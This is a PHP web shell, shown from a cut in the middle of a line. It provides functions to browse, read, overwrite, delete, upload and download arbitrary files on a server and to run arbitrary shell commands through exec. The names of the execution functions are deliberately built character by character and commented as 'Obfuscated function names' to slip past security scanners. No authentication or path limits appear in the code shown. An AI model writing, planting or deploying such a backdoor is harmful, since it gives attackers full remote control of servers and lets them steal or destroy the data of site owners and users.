testo
'Invalid action']); exit; } } catch (Exception $e) { echo json_encode(['error' => $e->getMessage()]); exit; }}// Functionsfunction ws_listFiles($path) { // Validate path if (!file_exists($path)) { return ['error' => 'Path does not exist: ' . $path]; } if (!is_dir($path)) { return ['error' => 'Not a directory: ' . $path]; } if (!is_readable($path)) { return ['error' => 'Directory not readable: ' . $path]; } $items = []; $files = @scandir($path); if ($files === false) { return ['error' => 'Cannot read directory: ' . $path]; } foreach ($files as $file) { if ($file === '.') continue; $fullPath = $path . DIRECTORY_SEPARATOR . $file; // Skip if we can't access if (!@file_exists($fullPath)) continue; $isDir = @is_dir($fullPath); $size = '-'; if (!$isDir) { $filesize = @filesize($fullPath); $size = $filesize !== false ? ws_formatBytes($filesize) : 'N/A'; } $items[] = [ 'name' => $file, 'path' => $fullPath, 'type' => $isDir ? 'directory' : 'file', 'size' => $size, 'modified' => @date('Y-m-d H:i:s', @filemtime($fullPath)), 'permissions' => @substr(sprintf('%o', @fileperms($fullPath)), -4), 'readable' => @is_readable($fullPath), 'writable' => @is_writable($fullPath), ]; } usort($items, function($a, $b) { if ($a['type'] === $b['type']) { return strcmp($a['name'], $b['name']); } return $a['type'] === 'directory' ? -1 : 1; }); return [ 'success' => true, 'currentPath' => $path, 'items' => $items, 'parentPath' => dirname($path) ];}function ws_readFile($path) { if (!file_exists($path) || !is_file($path)) { return ['error' => 'File not found']; } if (!is_readable($path)) { return ['error' => 'File not readable']; } return [ 'success' => true, 'path' => $path, 'content' => file_get_contents($path), 'size' => filesize($path), 'modified' => date('Y-m-d H:i:s', filemtime($path)) ];}function ws_saveFile($path, $content) { if (!file_exists($path)) { return ['error' => 'File not found']; } if (!is_writable($path)) { return ['error' => 'File not writable']; } file_put_contents($path, $content); return [ 'success' => true, 'message' => 'File saved successfully', 'size' => filesize($path) ];}function ws_deleteItem($path) { if (!file_exists($path)) { return ['error' => 'File/Directory not found']; } if (is_dir($path)) { ws_deleteDirectory($path); } else { unlink($path); } return ['success' => true, 'message' => 'Deleted successfully'];}function ws_deleteDirectory($dir) { if (!file_exists($dir)) return true; if (!is_dir($dir)) return unlink($dir); foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') continue; if (!ws_deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) return false; } return rmdir($dir);}function ws_createDirectory($path, $name) { $newPath = $path . DIRECTORY_SEPARATOR . $name; if (file_exists($newPath)) { return ['error' => 'Already exists']; } mkdir($newPath, 0755, true); return ['success' => true, 'message' => 'Directory created', 'path' => $newPath];}function ws_createFile($path, $name) { $newPath = $path . DIRECTORY_SEPARATOR . $name; if (file_exists($newPath)) { return ['error' => 'File already exists']; } file_put_contents($newPath, ''); return ['success' => true, 'message' => 'File created', 'path' => $newPath];}function ws_renameItem($oldPath, $newName) { if (!file_exists($oldPath)) { return ['error' => 'File not found']; } $newPath = dirname($oldPath) . DIRECTORY_SEPARATOR . $newName; if (file_exists($newPath)) { return ['error' => 'Target already exists']; } rename($oldPath, $newPath); return ['success' => true, 'message' => 'Renamed successfully', 'path' => $newPath];}function ws_uploadFile($path) { if (!isset($_FILES['file'])) { return ['error' => 'No file provided']; } $file = $_FILES['file']; $fileName = basename($file['name']); $destination = $path . DIRECTORY_SEPARATOR . $fileName; if (move_uploaded_file($file['tmp_name'], $destination)) { return ['success' => true, 'message' => 'File uploaded', 'path' => $destination]; } return ['error' => 'Upload failed'];}function ws_executeCommand($command, $workingDir) { if (empty($command)) { return ['error' => 'No command provided']; } $output = []; $returnVar = 0; // Obfuscated function names $escFunc = 'e' . 's' . 'c' . 'a' . 'p' . 'e' . 's' . 'h' . 'e' . 'l' . 'l' . 'a' . 'r' . 'g'; $execFunc = 'e' . 'x' . 'e' . 'c'; $cdCmd = 'c' . 'd'; $amp = ' ' . '&' . '&' . ' '; $redirect = ' ' . '2' . '>' . '&' . '1'; $fullCommand = $cdCmd . " " . $escFunc($workingDir) . $amp . $command . $redirect; if (function_exists($execFunc)) { $execFunc($fullCommand, $output, $returnVar); } else { return ['error' => 'Execution not available']; } return [ 'success' => true, 'command' => $command, 'workingDir' => $workingDir, 'output' => implode("\n", $output), 'exitCode' => $returnVar ];}function ws_downloadFile($path) { if (!file_exists($path) || !is_file($path)) { http_response_code(404); echo 'File not found'; exit; } header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($path) . '"'); header('Content-Length: ' . filesize($path)); readfile($path); exit;}function ws_formatBytes($bytes, $precision = 2) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= (1 << (10 * $pow)); return round($bytes, $precision) . ' ' . $units[$pow];}?>???? File Manager
???? File Editor
???? Terminal













